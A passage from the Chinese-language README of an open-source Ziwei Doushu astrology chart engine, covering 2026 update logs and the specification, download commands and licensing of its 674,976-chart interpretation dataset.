\u502a\u5e08\u539f\u8bdd\u975e\u5546\u7528</td> \n  </tr> \n  <tr> \n   <td>\u5341</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%8D%81%E5%85%B3%E4%BA%8E%E4%B8%8E%E8%81%94%E7%B3%BB\">\u5173\u4e8e\u4e0e\u8054\u7cfb</a></td> \n   <td>\u9879\u76ee\u7406\u5ff5\u3001\u6280\u672f\u6808\u3001\u8054\u7cfb\u65b9\u5f0f</td> \n  </tr> \n </tbody> \n</table> \n<hr /> \n<h2>\u4e00\u3001\u672c\u8f6e\u66f4\u65b0\uff082026-10-15\uff09</h2> \n<p>\u672c\u8f6e\u8ddf\u968f\u7f51\u7ad9 2026-10-15 \u53d1\u7248\uff08\u7f51\u7ad9\u5185\u5bb9\u7248\u672c <code>ca268829f7a9</code>\uff09\uff1a</p> \n<p><img alt=\"\u672c\u8f6e\u66f4\u65b0\u603b\u89c8\" src=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/update-20261015.png\" /></p> \n<p><strong>1. \u53d1\u5e03 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</strong> \u2014\u2014 674,976 \u5f20\u547d\u76d8\uff08\u516c\u5386 1950\u20132026 \u5e74\u6bcf\u4e00\u4e2a\u771f\u5b9e\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09\u00d7 13 \u7ef4 = <strong>8,774,688 \u6bb5\u89e3\u8bfb</strong>\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\u3002\u89e3\u538b\u540e 56.6 GB\uff08v3.0 \u4e3a 33.1 GB\uff0c\u589e\u52a0 71%\uff09\uff0c\u538b\u7f29\u540e\u53ea\u6709 161 MB\uff0c\u6309\u5e74\u4efd\u5206 77 \u4e2a\u6587\u4ef6\uff0c\u53ef\u4ee5\u53ea\u4e0b\u9700\u8981\u7684\u5e74\u4efd\uff0c\u4e5f\u53ef\u4ee5\u4e00\u6b21\u4e0b\u5168\u5e74\u4efd\u603b\u5305\u3002\u4e0b\u8f7d\u89c1 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v4.0-13d\">Release v4.0-13d</a>\uff0c\u89c4\u683c\u548c\u5b57\u6bb5\u89c1<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%8C%E6%96%B013-%E7%BB%B4%E8%A7%A3%E8%AF%BB%E6%95%B0%E6%8D%AE%E9%9B%86-v402026-10-15\">\u7b2c\u4e8c\u00b7\u65b0\u7ae0</a>\u3002\u53d1\u5e03\u524d 77 \u4e2a\u6587\u4ef6\u9010\u4e2a\u89e3\u538b\uff0c\u4e0e\u539f\u59cb\u6570\u636e\u9010\u5b57\u8282\u6bd4\u5bf9\u4e00\u81f4\u3002</p> \n<p><strong>2. 13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63</strong>\uff08\u65ad\u8bed\u5e93\u4ecd\u4e0d\u5f00\u6e90\uff0c\u6821\u6b63\u7ed3\u679c\u4f53\u73b0\u5728 v4.0 \u6570\u636e\u96c6\u91cc\uff09\uff1a</p> \n<ul> \n <li>\u6807\u7740\u502a\u5e08\u6216\u300a\u5168\u4e66\u300b\u5374\u67e5\u4e0d\u5230\u51fa\u5904\u7684\u5f15\u6587\uff0c\u5220\u6389\u6216\u6362\u6210\u9010\u5b57\u53ef\u67e5\u7684\u539f\u8bdd\uff1b\u502a\u5e08\u539f\u8bdd\u6ce8\u660e\u300a\u5929\u7eaa\u300b\u7b2c\u51e0\u96c6\u3001\u51e0\u5206\u51e0\u79d2</li> \n <li>\u4e0d\u4f1a\u53d1\u751f\u7684\u56db\u5316\uff08\u5982\u4e03\u6740\u5316\u6743\u3001\u7d2b\u5fae\u5316\u5fcc\uff09\u76f8\u5173\u7684\u53e5\u5b50\u5220\u53bb\uff1b\u53ea\u5728\u67d0\u79cd\u6761\u4ef6\u4e0b\u624d\u6210\u7acb\u7684\u65ad\u8bed\u8865\u4e0a\u6761\u4ef6</li> \n <li>\u300c\u529b\u91cf\u5f3a\u65f6\u2026\u2026\u843d\u9677\u65f6\u2026\u2026\u300d\u8fd9\u7c7b\u4e24\u5934\u8bf4\u7684\u53e5\u5b50\uff0c\u6539\u4e3a\u6309\u547d\u76d8\u53ea\u663e\u793a\u6210\u7acb\u7684\u90a3\u4e00\u79cd</li> \n <li>\u5065\u5eb7\uff1a\u54ea\u4e2a\u810f\u8151\u8981\u7559\u610f\uff0c\u6539\u6309\u502a\u5e08\u7684\u770b\u6cd5\u2014\u2014\u5168\u76d8\u6740\u661f\u6700\u96c6\u4e2d\u7684\u90a3\u4e00\u5bab\uff0c\u6309\u5b83\u7684\u5730\u652f\u5bf9\u5e94\u810f\u8151\uff1b\u4e0d\u518d\u6309\u661f\u7684\u4e94\u884c\u63a8\u810f\u5668</li> \n <li>\u7f51\u7ad9\u77e5\u8bc6\u5e93\u300c\u53e4\u7c4d\u5f15\u8bc1\u300d\u7531 244 \u5904\u589e\u81f3 405 \u5904\uff0c\u6bcf\u4e00\u5904\u90fd\u80fd\u5728\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u91cc\u9010\u5b57\u627e\u5230</li> \n</ul> \n<p><strong>3. \u6392\u76d8\u5f15\u64ce\u540c\u6b65</strong>\uff08<a href=\"https://github.com/Renhuai123/ziwei-doushu/pull/39\">PR #39</a>\uff09\u2014\u2014 <code>dst-cn.ts</code> \u65b0\u589e <code>chinaDSTSpan(year)</code>\uff0c\u67e5\u67d0\u5e74\u4e2d\u56fd\u590f\u4ee4\u65f6\u8d77\u6b62\uff1b<code>cities.ts</code> \u8865\u5168\u7701\u76f4\u8f96\u53bf\u7ea7\u5355\u4f4d\u4e0e\u65b0\u7586\u5175\u56e2\u5404\u5e02\u7684\u7ecf\u5ea6\uff08\u795e\u519c\u67b6\u3001\u6d77\u5357\u5404\u5e02\u53bf\u3001\u963f\u62c9\u5c14\u7b49\uff09\uff0c\u51fa\u751f\u5730\u9009\u8fd9\u4e9b\u57ce\u5e02\u65f6\u771f\u592a\u9633\u65f6\u6821\u6b63\u53ef\u7528\u3002</p> \n<p><strong>4. \u8bb8\u53ef</strong> \u2014\u2014 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\"><code>DATASET-LICENSE</code></a> \u9002\u7528\u8303\u56f4\u52a0\u4e0a v4.0\uff1b\u5199\u660e\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff0c\u4e0e\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 CC BY-NC-SA 4.0 \u4e00\u81f4\u3002v3.0 \u6837\u672c\u6570\u636e\u96c6\u53ca\u5176\u6761\u6b3e\u4e0d\u53d8\u3002</p> \n<blockquote> \n <p><strong>2026-10-24 \u8865\u5145</strong>\uff1a\u9879\u76ee\u7406\u5ff5\u79fb\u5230\u9875\u9996\u2014\u2014\u6807\u9898\u4e0b\u5c45\u4e2d\u4e00\u53e5\u300c\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc\u300d\uff0c\u7d27\u63a5\u4e24\u6bb5\u7406\u5ff5\u539f\u6587\uff08\u524d\u6807\u300c\u9879\u76ee\u7406\u5ff5\u300d\uff09\uff0c\u539f\u6709\u4ecb\u7ecd\u6bb5\u524d\u6807\u300c\u9879\u76ee\u4fe1\u606f\u300d\uff1b\u7b2c\u5341\u7ae0\u300c\u9879\u76ee\u7406\u5ff5\u300d\u6539\u4e3a\u6307\u5411\u9875\u9996\u3002</p> \n</blockquote> \n<blockquote> \n <p><strong>2026-10-20 \u8865\u5145</strong>\uff1a\u661f\u66dc\u4eae\u5ea6\u9ed8\u8ba4\u6539\u4e3a\u300a\u6597\u6570\u5168\u4e66\u300b\uff0c\u4e0e\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u9ed8\u8ba4\u4e00\u81f4\uff0c\u6b64\u524d\u9ed8\u8ba4\u7684\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u4ecd\u53ef\u5728\u6d41\u6d3e\u8bbe\u7f6e\u91cc\u9009\uff1b\u8865\u9f50\u5929\u59da\u3001\u5929\u5211\u3001\u5929\u559c\u3001\u5927\u8017\u3001\u89e3\u795e\u3001\u622a\u7a7a\u3001\u526f\u622a\u3001\u65ec\u7a7a\u7684\u4eae\u5ea6\uff0c\u6708\u5fb7\u4e0d\u518d\u6807\u4eae\u5ea6\u3002\u7528 5 \u5f20\u91d1\u6807\u51c6\u76d8\u9010\u5bab\u6838\u5bf9\uff0c\u661f\u66dc\u843d\u5bab\u4e0e\u4eae\u5ea6\u5168\u90e8\u543b\u5408\u3002\u6ce8\u610f\uff1av4.0 \u6570\u636e\u96c6\uff0810-15\uff09\u662f\u6309\u65e7\u9ed8\u8ba4\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u751f\u6210\u7684\uff0c\u5176\u4e2d\u4eae\u5ea6\u5b57\u548c\u5c11\u91cf\u968f\u4eae\u5ea6\u53d8\u5316\u7684\u89e3\u8bfb\u53e5\u4f1a\u4e0e\u65b0\u9ed8\u8ba4\u4e0d\u540c\u3002</p> \n</blockquote> \n<blockquote> \n <p><strong>2026-10-06 ~ 10-07 \u8865\u5145</strong>\uff1aREADME \u52a0\u300c\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad\u300d\uff08\u502a\u5e08\u539f\u8bdd + \u51fa\u5904\u94fe\u63a5\uff0c\u4e2d\u82f1\u4e24\u4efd\uff09\uff1b\u7f51\u7ad9\u94fe\u63a5\u52a0\u6e20\u9053\u7801 <code>?from=</code>\uff1b\u540c\u6b65\u502a\u5e08\u539f\u8bdd\u8bed\u6599\u52d8\u8bef\uff08\u4e3b\u661f\u5357\u6597\u3001\u5317\u6597\u5f52\u5c5e\uff09\u3002</p> \n</blockquote> \n<h3>\u4e0a\u4e00\u8f6e\u66f4\u65b0\uff082026-09-21\uff09</h3> \n<blockquote> \n <p><strong>2026-10-03 \u8865\u5145</strong>\uff1a\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd 1848 \u6761\u5355\u72ec\u6210\u7ae0\uff08\u7b2c\u4e94\u7ae0\uff09\uff1b\u5408\u5e76\u5916\u90e8\u8d21\u732e #29\uff08\u65f6\u8fb0\u5e8f\u53f7\u6821\u9a8c\uff09\uff1b\u5f15\u64ce\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u516c\u5386\u65e5\u671f\uff0c\u6570\u636e\u96c6\u8865\u5b57\u6bb5\u53e3\u5f84\u4e0e\u5df2\u77e5\u95ee\u9898\uff1b\u63d0\u4ea4 package-lock.json\uff1b\u7ad9\u70b9\u5730\u5740\u6539\u4e3a\u53ef\u914d\u7f6e\uff1b\u5408\u76d8\u6f14\u793a\u6539\u7528\u672c\u5730\u5f15\u64ce\u8d77\u76d8\u3001AI \u63a5\u53e3\u7f3a\u5931\u65f6\u660e\u786e\u63d0\u793a\uff1b\u8865\u9f50\u8d21\u732e\u6307\u5357\u3001\u884c\u4e3a\u51c6\u5219\u3001\u95ee\u9898\u4e0e PR \u6a21\u677f\uff1b\u65b0\u589e\u82f1\u6587\u7b80\u4ecb <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/README.en.md\">README.en.md</a>\uff1b\u53bb\u6389\u4e24\u4e2a\u7528\u4e0d\u4e0a\u7684\u90e8\u7f72\u5de5\u5177\u5305\uff08vercel CLI\u3001@cloudflare/next-on-pages\uff09\uff0c\u4f9d\u8d56\u4ece 483 \u4e2a\u51cf\u5230 185 \u4e2a\uff1b\u968f\u540e\u5347\u7ea7\u5230 Next.js 16 \u4fee\u6389 postcss \u6f0f\u6d1e\uff0cGitHub \u5b89\u5168\u63d0\u9192\u4ece 51 \u6761\u6e05\u96f6\u3002</p> \n</blockquote> \n<p><img alt=\"\u672c\u8f6e\u66f4\u65b0\u603b\u89c8\" src=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/update-20260921.png\" /></p> \n<p>\u65f6\u9694\u4e09\u4e2a\u6708\uff0c\u672c\u4ed3\u5e93\u5b8c\u6210\u4e00\u6b21\u5b8c\u6574\u66f4\u65b0\uff08<a href=\"https://github.com/Renhuai123/ziwei-doushu/pull/28\">PR #28</a>\uff0c26 \u4e2a\u6587\u4ef6\u3001+2736 / \u2212108 \u884c\uff09\uff1a</p> \n<p><strong>1. \u6392\u76d8\u5f15\u64ce\u540c\u6b65\u5230\u7ebf\u4e0a\u53e3\u5f84</strong> \u2014\u2014 <code>algorithm.ts</code> \u4ece 181 \u884c\u5230 641 \u884c\uff0c\u53e6\u66f4\u65b0 sihua / types / constants / patterns / cities / famous\uff1b\u65b0\u589e 8 \u4e2a\u6a21\u5757\uff081367 \u884c\uff09\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u6a21\u5757</th> \n   <th>\u4f5c\u7528</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>true-solar-time.ts</code></td> \n   <td>\u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09</td> \n  </tr> \n  <tr> \n   <td><code>dst-cn.ts</code></td> \n   <td>\u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6</td> \n  </tr> \n  <tr> \n   <td><code>lunar-solar.ts</code></td> \n   <td>\u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp</td> \n  </tr> \n  <tr> \n   <td><code>school-data.ts</code> / <code>school-tables.generated.ts</code> / <code>school-config.ts</code></td> \n   <td>\u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e</td> \n  </tr> \n  <tr> \n   <td><code>shier-shen.ts</code></td> \n   <td>\u5341\u4e8c\u795e\u715e</td> \n  </tr> \n  <tr> \n   <td><code>yunxian-context.ts</code></td> \n   <td>\u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\uff09</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>2. \u8865\u4e0a\u56de\u5f52\u6d4b\u8bd5\u4e0e CI</strong> \u2014\u2014 \u6b64\u524d\u672c\u4ed3\u5e93\u6ca1\u6709\u4efb\u4f55\u6d4b\u8bd5\u3002\u73b0\u5728 5 \u6761\u6392\u76d8\u56de\u5f52\uff0c<code>npm test</code> \u4e00\u6761\u547d\u4ee4\u8dd1\u5b8c\uff0c\u6bcf\u6b21 push \u4e0e PR \u5728 GitHub Actions \u4e0a\u81ea\u52a8\u8dd1\u3002</p> \n<p><strong>3. \u4fee\u6389\u6837\u672c\u65f6\u8fb0\u6ce8\u91ca\u9519\u4f4d</strong>\uff08<a href=\"https://github.com/Renhuai123/ziwei-doushu/issues/26\">#26</a>\uff09\u2014\u2014 <code>famous.ts</code> \u91cc 11 \u6761\u540d\u4eba\u6837\u672c\u6709 7 \u6761\u7684\u65f6\u8fb0\u6ce8\u91ca\u4e0e <code>hour</code> \u7d22\u5f15\u4e0d\u7b26\uff08<code>hour</code> \u4e00\u76f4\u662f<strong>\u65f6\u8fb0\u5730\u652f\u7d22\u5f15 0\u201311</strong>\uff0c\u4e0d\u662f 0\u201323 \u7684\u5c0f\u65f6\u6570\uff09\u3002\u5df2\u6539\u6b63\u5e76\u52a0\u56de\u5f52\u9489\u4f4f\u3002</p> \n<p><strong>4. \u79ef\u538b issue \u4ece 18 \u6761\u6e05\u5230 4 \u6761</strong>\uff0c\u7559\u4e0b\u7684\u90fd\u662f\u8fd8\u5728\u8d70\u7684\u3002</p> \n<p><strong>5. \u6587\u6863\u4e0e\u8bb8\u53ef</strong> \u2014\u2014 \u65b0\u589e <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\"><code>DATASET-LICENSE</code></a>\uff1bREADME \u8865\u9f50\u5f15\u64ce\u80fd\u529b\u6e05\u5355\u3001\u7ef4\u62a4\u8282\u594f\u3001\u5f00\u6e90\u8fb9\u754c\uff1b\u4fee\u6b63\u4e24\u5904\u4e0d\u5b9e\u63cf\u8ff0\uff08\u6570\u636e\u96c6\u300c\u53e3\u5f84\u4e0e\u7ebf\u4e0a\u5b8c\u5168\u4e00\u81f4\u300d\u3001\u754c\u9762\u300c\u5b8c\u6574\u7684 Next.js 15 \u524d\u7aef\u300d\uff09\u3002</p> \n<hr /> \n<h2>\u4e8c\u00b7\u65b0\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff082026-10-15\uff09</h2> \n<blockquote> \n <p><strong>\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v4.0-13d\">Releases \u2192 v4.0-13d</a></strong></p> \n</blockquote> \n<p>v4.0 \u7528 2026-10-15 \u7248\u7f51\u7ad9\u65ad\u8bed\u5e93\u91cd\u65b0\u751f\u6210\uff1a13 \u4e2a\u5206\u6790\u7ef4\u5ea6\u7684\u65ad\u8bed\u5df2\u6309\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u9010\u5b57\u7a3f\u4e0e\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63\u2014\u2014\u67e5\u4e0d\u5230\u51fa\u5904\u7684\u5f15\u6587\u5220\u53bb\u6216\u6362\u6210\u9010\u5b57\u53ef\u67e5\u7684\u539f\u8bdd\uff08\u502a\u5e08\u539f\u8bdd\u6ce8\u660e\u300a\u5929\u7eaa\u300b\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\uff09\uff0c\u4e0d\u4f1a\u53d1\u751f\u7684\u56db\u5316\u76f8\u5173\u53e5\u5b50\u5220\u53bb\uff0c\u6709\u6761\u4ef6\u7684\u65ad\u8bed\u5199\u660e\u6761\u4ef6\u3002</p> \n<h3>\u89c4\u683c</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u9879\u76ee</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u547d\u76d8\u6570</td> \n   <td><strong>674,976 \u5f20</strong>\uff08\u516c\u5386 1950\u20132026 \u5e74 \u00d7 \u771f\u5b9e\u6bcf\u6708\u5929\u6570 \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09</td> \n  </tr> \n  <tr> \n   <td>\u89e3\u8bfb\u6bb5\u6570</td> \n   <td><strong>8,774,688 \u6bb5</strong>\uff08\u6bcf\u5f20\u76d8 13 \u7ef4\uff09</td> \n  </tr> \n  <tr> \n   <td>\u7ef4\u5ea6</td> \n   <td>\u547d\u683c\u603b\u89c8\u3001\u6027\u683c\u3001\u611f\u60c5\u3001\u4e8b\u4e1a\u3001\u8d22\u8fd0\u3001\u5065\u5eb7\u3001\u5144\u5f1f\u3001\u5b50\u5973\u3001\u8fc1\u79fb\u3001\u4eba\u9645\u3001\u7530\u5b85\u3001\u798f\u5fb7\u3001\u7236\u6bcd</td> \n  </tr> \n  <tr> \n   <td>\u5927\u5c0f</td> \n   <td>\u89e3\u538b\u540e 56.6 GB\uff1b\u538b\u7f29\u540e 161 MB\uff0877 \u4e2a\u5e74\u4efd\u6587\u4ef6\uff0czstd\uff1b\u53e6\u6709\u4e00\u4e2a\u5168\u5e74\u4efd\u603b\u5305 <code>ziwei-interp-v4-all.tar</code>\uff09</td> \n  </tr> \n  <tr> \n   <td>\u6b63\u6587</td> \n   <td>\u7ea6 204 \u4ebf\u5b57\uff0c\u6bcf\u5f20\u76d8\u7ea6 3.0 \u4e07\u5b57</td> \n  </tr> \n  <tr> \n   <td>\u751f\u6210\u65b9\u5f0f</td> \n   <td>\u6392\u76d8\u5f15\u64ce + \u65ad\u8bed\u5e93\u786e\u5b9a\u6027\u751f\u6210\uff0c\u4e0d\u7ecf AI\uff0c\u540c\u4e00\u8f93\u5165\u6052\u5f97\u540c\u4e00\u8f93\u51fa</td> \n  </tr> \n  <tr> \n   <td>\u5185\u5bb9\u7248\u672c</td> \n   <td><code>ca268829f7a9</code>\uff08\u4e0e\u7f51\u7ad9\u540c\u671f\u7684 ANALYSIS_CONTENT_VERSION\uff09</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u6bcf\u884c\u4e00\u5f20\u76d8</strong>\uff08JSON Lines\uff09\uff0c\u5b57\u6bb5\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5b57\u6bb5</th> \n   <th>\u542b\u4e49</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>k</code></td> \n   <td>\u952e\uff1a<code>YYYY-MM-DD-\u65f6\u8fb0\u5e8f\u53f7-\u6027\u522b</code>\uff0c\u5982 <code>1990-01-01-0-male</code></td> \n  </tr> \n  <tr> \n   <td><code>y</code> / <code>m</code> / <code>d</code></td> \n   <td><strong>\u516c\u5386</strong>\u51fa\u751f\u65e5\u671f\uff1b\u53ea\u542b\u771f\u5b9e\u5b58\u5728\u7684\u65e5\u671f\uff08\u4e0d\u518d\u6709 2 \u6708 30 \u65e5\u4e4b\u7c7b\uff09</td> \n  </tr> \n  <tr> \n   <td><code>h</code></td> \n   <td><strong>\u65f6\u8fb0\u5e8f\u53f7 0\u201311</strong>\uff08\u5b50 = 0 \u2026\u2026 \u4ea5 = 11\uff09\uff0c\u4e0d\u662f\u949f\u70b9\uff1b\u5bf9\u7167\u8868\u89c1\u4e0a\u4e00\u8282</td> \n  </tr> \n  <tr> \n   <td><code>g</code></td> \n   <td><code>male</code> / <code>female</code></td> \n  </tr> \n  <tr> \n   <td><code>ms</code></td> \n   <td>\u547d\u5bab\u7b2c\u4e00\u9897\u4e3b\u661f\uff1b\u547d\u5bab\u65e0\u4e3b\u661f\u65f6\u4e3a <code>null</code></td> \n  </tr> \n  <tr> \n   <td><code>t</code></td> \n   <td>\u5404\u7ef4\u5b57\u6570</td> \n  </tr> \n  <tr> \n   <td><code>c</code></td> \n   <td>13 \u7ef4\u89e3\u8bfb\u5168\u6587\uff08Markdown\uff09\uff0c\u952e\u4e3a <code>overview</code> / <code>personality</code> / <code>love</code> / <code>career</code> / <code>wealth</code> / <code>health</code> / <code>family</code> / <code>children</code> / <code>move</code> / <code>friends</code> / <code>home</code> / <code>spirit</code> / <code>parents</code></td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u53e3\u5f84\u8bf4\u660e</strong></p> \n<ul> \n <li>\u662f\u672c\u547d\u76d8\u89c6\u56fe\u7684\u89e3\u8bfb\uff1b\u7f51\u7ad9\u4e0a\u6309\u8bfb\u8005\u5f53\u524d\u5e74\u9f84\u6539\u5199\u7684\u53e5\u5b50\u3001\u5404\u7ef4\u672b\u5c3e\u9644\u52a0\u7684\u502a\u5e08\u6cd5\u5219\u6bb5\u3001AI \u89e3\u8bfb\u90fd\u4e0d\u5728\u6570\u636e\u96c6\u91cc\u3002</li> \n <li>\u6309\u65f6\u8fb0\u5e8f\u53f7\u76f4\u63a5\u6392\u76d8\uff0c\u672a\u6309\u51fa\u751f\u5730\u505a\u771f\u592a\u9633\u65f6\u6821\u6b63\u3002</li> \n</ul> \n<h3>\u4e0b\u8f7d\u4e0e\u89e3\u538b</h3> \n<pre><code class=\"language-bash\"># \u4e00\u6b21\u4e0b\u5168\u90e8\uff1agh release download v4.0-13d --repo Renhuai123/ziwei-doushu -p \"ziwei-interp-v4-all.tar\"\n# \u53ea\u8981\u67d0\u51e0\u5e74\u5c31\u53ea\u4e0b\u90a3\u51e0\u5e74\uff0c\u4f8b\u5982 1990 \u5e74\nzstd -d --long=27 year-1990.jsonl.zst          # \u5f97\u5230 year-1990.jsonl\nshasum -a 256 -c SHA256SUMS.txt --ignore-missing # \u6821\u9a8c\n</code></pre> \n<p><code>--long=27</code> \u5fc5\u987b\u5e26\u4e0a\uff08\u538b\u7f29\u65f6\u7528\u4e86\u957f\u7a97\u53e3\uff09\u3002Windows \u53ef\u7528 <a href=\"https://github.com/facebook/zstd/releases\">zstd \u5b98\u65b9\u53d1\u5e03\u5305</a> \u91cc\u7684 zstd.exe\uff0c\u53c2\u6570\u76f8\u540c\u3002</p> \n<h3>\u5f15\u6587\u8bf4\u660e</h3> \n<p>\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u539f\u8bdd<strong>\u4e0d\u5c5e\u4e8e\u672c\u6570\u636e\u96c6\u7684\u6388\u6743\u8303\u56f4</strong>\uff1a\u5b83\u4eec\u662f\u4e3a\u8bf4\u660e\u65ad\u8bed\u51fa\u5904\u800c\u6ce8\u660e\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\u7684\u7b80\u77ed\u5f15\u7528\uff0c\u8457\u4f5c\u6743\u5f52\u539f\u6743\u5229\u4eba\uff1b\u8981\u628a\u8fd9\u4e9b\u539f\u8bdd\u5355\u72ec\u6210\u6279\u4f7f\u7528\uff0c\u6309\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/LICENSE.md\">CC BY-NC-SA 4.0</a> \u5904\u7406\u3002\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u5c5e\u516c\u6709\u9886\u57df\u3002</p> \n<h3>\u8bb8\u53ef</h3> \n<p>\u4e0e v3.0 \u76f8\u540c\uff1a<strong>CC BY 4.0\uff0c\u53ef\u81ea\u7531\u5546\u7528\uff0c\u552f\u4e00\u8981\u6c42\u662f\u4fdd\u7559\u6765\u6e90\u6807\u6ce8</strong>\uff08\u4e0a\u9762\u300c\u5f15\u6587\u8bf4\u660e\u300d\u91cc\u7684\u502a\u5e08\u539f\u8bdd\u9664\u5916\uff09\uff0c\u5b8c\u6574\u6761\u6b3e\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\">DATASET-LICENSE</a>\u3002\u5f15\u7528\u65f6\u8bf7\u5199\uff1a</p> \n<blockquote> \n <p>\u672c\u9879\u76ee\u4f7f\u7528\u4e86 <strong>\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</strong>\uff08674,976 \u5f20\u547d\u76d8 \u00d7 13 \u7ef4\uff09 \u6765\u6e90\uff1a<a href=\"https://github.com/Renhuai123/ziwei-doushu\">https://github.com/Renhuai123/ziwei-doushu</a> \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI</p> \n</blockquote> \n<hr /> \n<h2>\u4e8c\u300151.8 \u4e07\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6</h2> \n<blockquote> \n <p><strong>\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v3.0-samples\">Releases</a> \u9875\u9762</strong></p> \n</blockquote> \n<p>\u6211\u4eec\u5f00\u6e90\u4e86\u4e00\u5957\u5b8c\u6574\u7684\u7d2b\u5fae\u6597\u6570\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6\uff0c\u8986\u76d6 <strong>51.8 \u4e07\u79cd\u6392\u76d8\u7ec4\u5408</strong>\uff08\u5e74 60 \u00d7 \u6708 12 \u00d7 \u65e5 30 \u00d7 \u65f6 12 \u00d7 \u6027\u522b 2\uff09\uff0c\u6bcf\u6761\u6837\u672c\u5305\u542b\u5b8c\u6574\u7684\u547d\u76d8\u7ed3\u6784\u548c\u57fa\u4e8e\u502a\u6d77\u53a6\u4f53\u7cfb\u7684\u89e3\u8bfb\u6587\u672c\u3002</p> \n<h3>2.1 \u6570\u636e\u89c4\u683c</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u9879\u76ee</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u6837\u672c\u6570\u91cf</td> \n   <td><strong>518,400 \u6761</strong></td> \n  </tr> \n  <tr> \n   <td>\u603b\u5927\u5c0f</td> \n   <td>\u538b\u7f29\u540e 5.5 GB\uff08\u5206 3 \u5377\uff09\uff0c\u89e3\u538b\u540e 33.1 GB</td> \n  </tr> \n  <tr> \n   <td>\u4f53\u7cfb</td> \n   <td>\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u6b63\u7edf\uff08\u7eaf\u98de\u661f\u6d3e\u5df2\u4e0b\u7ebf\uff09</td> \n  </tr> \n  <tr> \n   <td>\u5185\u5bb9</td> \n   <td>\u547d\u76d8 JSON + 13 \u4e3b\u9898\u89e3\u8bfb\u6587\u672c\uff08\u547d\u683c\u603b\u89c8\u3001\u8d22\u8fd0\u3001\u4e8b\u4e1a\u3001\u611f\u60c5\u3001\u5065\u5eb7\u7b49\uff09</td> \n  </tr> \n  <tr> \n   <td>\u9a8c\u8bc1</td> \n   